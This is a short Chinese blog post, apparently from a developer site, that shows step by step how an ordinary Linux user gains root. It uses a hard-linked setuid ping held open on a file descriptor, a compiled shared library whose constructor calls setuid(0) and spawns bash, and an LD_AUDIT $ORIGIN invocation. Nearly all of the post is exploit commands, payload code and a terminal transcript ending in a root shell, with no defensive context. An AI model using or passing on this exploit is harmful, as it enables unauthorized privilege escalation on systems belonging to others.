linux为用户提权,Linux中普通用户提权为超级用户

首先建立一个普通用户,而且给普通用户设置一个密码,保证能用su 命令能用普通用户登陆vim

[root@ahu ~]# useradd test

[root@ahu ~]# passwd test

New password:

Retype new password:

passwd: all authentication tokens updated successfully.

[root@ahu ~]# su - test

[test@ahu ~]$ whoami

test //登录到普通用户,发现建立不了其余用户

[test@ahu ~]$ useradd aaa

-bash: /usr/sbin/useradd: Permission denied

进行身份变换

[test@ahu ~]$ mkdir /tmp/exploit

[test@ahu ~]$ ln /bin/ping /tmp/exploit/target

[test@ahu exploit]$ exec 3< /tmp/exploit/target

[test@ahu exploit]$ ls -l /proc/$$/fd/3

lr-x------ 1 test test 64 Aug 17 21:41 /proc/35612/fd/3 -> /tmp/exploit/target

[test@ahu exploit]$ rm -rf /tmp/exploit/

[test@ahu exploit]$ ls -l /proc/$$/fd/3

[test@ahu ~]$ vim payload.c

void __attribute__((constructor)) init() //在配置文件加入以下的内容

{

setuid(0);

system("/bin/bash");

}

~

[test@ahu ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

[test@ahu ~]$ ls -l /tmp/exploit

[test@ahu ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]

[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]

[-M mtu discovery hint] [-S sndbuf]

[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

[root@ahu ~]# whoami

root

发现身份变成了 root用户。身份变换成功!

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值